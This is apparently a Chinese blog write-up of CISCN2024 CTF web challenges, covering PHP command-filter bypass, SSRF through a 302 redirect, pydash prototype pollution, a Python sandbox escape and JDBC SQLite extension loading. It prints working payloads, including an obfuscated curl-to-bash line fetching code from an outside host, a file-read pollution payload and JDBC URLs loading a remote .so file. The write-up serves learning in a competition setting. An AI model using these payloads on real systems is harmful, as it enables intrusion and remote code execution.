CISCN2024 Web赛题实战复盘:从命令执行到沙箱逃逸的攻防博弈

张开发
2026/4/12 12:16:31 15 分钟阅读

分享文章

CISCN2024 Web赛题实战复盘:从命令执行到沙箱逃逸的攻防博弈
1. 从命令执行到沙箱逃逸的攻防博弈CISCN2024的Web赛题设计非常贴近实战考察了选手从基础漏洞挖掘到高级利用技巧的全方位能力。这次比赛中的几个典型题目完美展现了Web安全攻防中的经典场景和最新技术趋势。在实战中我们经常会遇到各种过滤和限制。就拿ezphp这道题来说它模拟了一个典型的命令执行场景但加入了严格的过滤机制。这种场景在实际渗透测试中非常常见——系统管理员往往会对危险函数和特殊字符进行过滤但安全防护永远是一个动态博弈的过程。2. ezphp命令执行的艺术2.1 初识题目环境这道题提供了一个PHP页面核心代码如下?php $cmd escapeshellcmd($_POST[cmd]); if (!preg_match(/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|\*|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\|\|id|whoami/i, $cmd)) { system($cmd); } ?这道题设置了双重防御escapeshellcmd函数对输入进行转义正则表达式黑名单过滤了大量命令和特殊字符2.2 突破思路分析面对这样的限制我们需要寻找不依赖黑名单命令的执行方式。经过测试发现php -i可以执行并返回phpinfo信息php -r可以直接执行PHP代码且由于escapeshellcmd的存在我们不需要使用单引号反斜杠和反引号没有被过滤最终构造的payload如下php -r print_r(l\s);这个payload巧妙地利用了反斜杠绕过命令关键字检测反引号执行命令php -r直接执行代码的特性2.3 实战利用过程通过这个漏洞我们可以逐步探索服务器环境列出目录发现没有flag文件检查/etc/passwd发现mysql用户怀疑flag在数据库中最终通过反弹shell获取数据库权限php -r print_r(c\url\$IFS\$9http://vps_ip/exp|bas\h);这个案例告诉我们在面对严格过滤时要善于发现未被过滤的特殊字符和命令参数通过组合利用实现突破。3. ezcmsSSRF的巧妙利用3.1 题目背景分析这道题考察的是一个CMS系统的SSRF漏洞利用。通过扫描发现存在flag.php但需要本地IP访问。这提示我们需要通过SSRF实现本地访问。3.2 漏洞定位通过分析CMS历史漏洞发现qrcode功能存在SSRF漏洞。最新版本虽然修复了redis相关的利用方式但基本的SSRF功能仍然存在。关键漏洞点在Api.php的dr_catcher_data函数可以直接发起内部请求。3.3 利用链构造由于直接使用127.0.0.1被拦截我们采用302跳转的方式绕过限制搭建一个Flask服务返回302跳转响应构造payload?sapicapimqrcodetext1thumbhttp://vps_ip/flask_portFlask服务返回跳转到127.0.0.1/flag.php3.4 实战技巧在真实环境中SSRF漏洞的利用往往需要这样的间接方式。这道题还考察了选手对HTTP协议的理解和灵活应用能力。4. sanic框架原型链污染的深入利用4.1 题目环境分析这道题基于sanic框架关键代码如下from sanic import Sanic from sanic.response import text, html from sanic_session import Session import pydash # pydash5.1.2 app.route(/admin, methods[GET, POST]) async def admin(request): if request.ctx.session.get(admin) True: key request.json[key] value request.json[value] if key and value and type(key) is str and _. not in key: pollute Pollute() pydash.set_(pollute, key, value) return text(success)题目特意标注了pydash版本为5.1.2提示可能存在已知漏洞。4.2 漏洞挖掘研究发现pydash 5.1.2存在原型链污染漏洞正好对应代码中的pydash.set_调用。但题目过滤了_.字符串需要绕过。通过测试发现可以使用四个反斜杠绕过key \\\\.__proto__4.3 利用链构造目标是污染__file__属性来读取任意文件。构造payload如下首先绕过登录验证cookie: useradm\073n然后污染原型链{ key: __init__\\\\.__globals__\\\\.__file__, value: /etc/passwd }这个案例展示了原型链污染在实战中的高级利用技巧特别是在存在过滤的情况下如何构造有效payload。5. mossfornPython沙箱逃逸的艺术5.1 题目环境分析这道题是一个Python沙箱逃逸题目核心代码如下def source_simple_check(source): # 检查双下划线、getattr、exit等 for i in [__, getattr, exit]: if i in source.lower(): print(i) exit() def block_wrapper(): # 使用audit hook进行黑名单检查 def audit(event, args): for i in [marshal, __new__, process, os, sys, interpreter, cpython, open, compile, gc]: if i in (event .join(str(s) for s in args)).lower(): print(i) os._exit(1) return audit def source_opcode_checker(code): # 检查字节码防止加载globals等 for line in opcode: if any(x in str(line) for x in [LOAD_GLOBAL, IMPORT_NAME, LOAD_METHOD]): if any(x in str(line) for x in [randint, randrange, print, seed]): break print(.join([x for x in [LOAD_GLOBAL, IMPORT_NAME, LOAD_METHOD] if x in str(line)])) exit()题目设置了非常严格的三重过滤机制几乎封堵了所有常规的沙箱逃逸路径。5.2 突破思路生成器与栈帧逃逸通过研究发现可以利用Python生成器的特性进行逃逸生成器的gi_frame属性指向当前执行的帧对象通过f_back可以访问上一级帧最终可以获取到全局变量和内置函数关键payloaddef func(): def f(): yield g.gi_frame.f_back g f() frame [x for x in g][0] builtin frame.f_back.f_back.f_back.f_locals[__builtins__] code frame.f_back.f_back.f_back.f_code print(code.co_consts)5.3 实战技巧由于题目会检查输出内容我们需要分段获取flagprint(code.co_consts[16:17][0][0:32]) print(code.co_consts[16:17][0][32:])这个案例展示了Python沙箱逃逸的高级技巧特别是在严格限制下的创新突破方法。6. ezjavaJDBC攻击的新视角6.1 题目环境分析这道Java题目考察的是JDBC连接的安全问题。通过分析pom.xml发现题目包含了多个数据库驱动sqlite-jdbcmysql-connector-javapostgresql6.2 SQLite的利用研究发现SQLite在开启扩展加载时存在安全风险。利用步骤如下首先上传恶意so文件{type:3, url:jdbc:sqlite::resource:http://vps_ip/exp.so}然后加载扩展{type:3, url:jdbc:sqlite::resource:http://vps_ip/poc.db, tableName:security}其中poc.db包含SELECT load_extension(/tmp/sqlite-jdbc-tmp-xxx.db)6.3 实战经验在真实环境中JDBC连接字符串往往是一个容易被忽视的攻击面。这道题考察了选手对数据库驱动底层机制的理解和利用能力。7. CTF攻防的思维框架通过这几个赛题我们可以总结出一套CTF Web攻防的思维框架全面信息收集扫描目录、分析源码、检查依赖版本漏洞模式识别根据环境特征快速定位可能的漏洞点绕过技巧积累掌握各种过滤规则的绕过方法利用链构造将多个小漏洞串联成完整的利用链环境适应性根据实际环境调整利用方式在实战中往往需要结合多种技术才能最终突破。这些赛题很好地模拟了真实世界中的安全攻防场景对提升实战能力非常有帮助。

更多文章